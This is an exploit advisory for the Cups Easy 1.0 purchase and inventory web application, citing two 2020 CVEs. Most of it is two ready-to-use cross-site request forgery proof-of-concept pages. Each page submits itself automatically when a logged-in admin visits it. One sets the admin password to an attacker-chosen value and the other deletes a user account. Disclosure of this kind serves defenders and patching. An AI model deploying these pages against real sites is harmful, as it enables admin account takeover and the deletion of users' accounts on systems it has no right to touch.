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# Title: Cups Easy 1.0 - Cross Site Request Forgery (Password Reset)  
# Date: 2020-01-28  
# Exploit Author: J3rryBl4nks  
# Vendor Homepage: https://sourceforge.net/u/ajayshar76/profile/  
# Software Link: https://sourceforge.net/projects/cupseasy/files/cupseasylive-1.0/  
# Version: 1.0  
# Tested on Windows 10/Kali Rolling  
# CVE: CVE-2020-8424, CVE-2020-8425  
  
# The Cups Easy (Purchase & Inventory) 1.0 web application is vulnerable to Cross Site Request Forgery   
# that would allow an attacker to change the Admin password and gain unrestricted   
# access to the site or delete any user.  
  
# Proof of Concept Code for Password Change:  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://SITEADDRESS/cupseasylive/passwordmychange.php" method="POST">  
<input type="hidden" name="username" value="admin" />  
<input type="hidden" name="password" value="PASSWORDHERE" />  
<input type="hidden" name="change" value="Change" />  
<input type="submit" value="Submit request" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>  
  
# Proof of concept for user delete:  
  
<html>  
<body>  
<script>history.pushState('', '', '/')</script>  
<form action="http://SITEADDRESS/cupseasylive/userdelete.php" method="POST">  
<input type="hidden" name="username" value="admin" />  
<input type="hidden" name="delete" value="Delete" />  
<input type="submit" value="Submit request" />  
</form>  
<script>  
document.forms[0].submit();  
</script>  
</body>  
</html>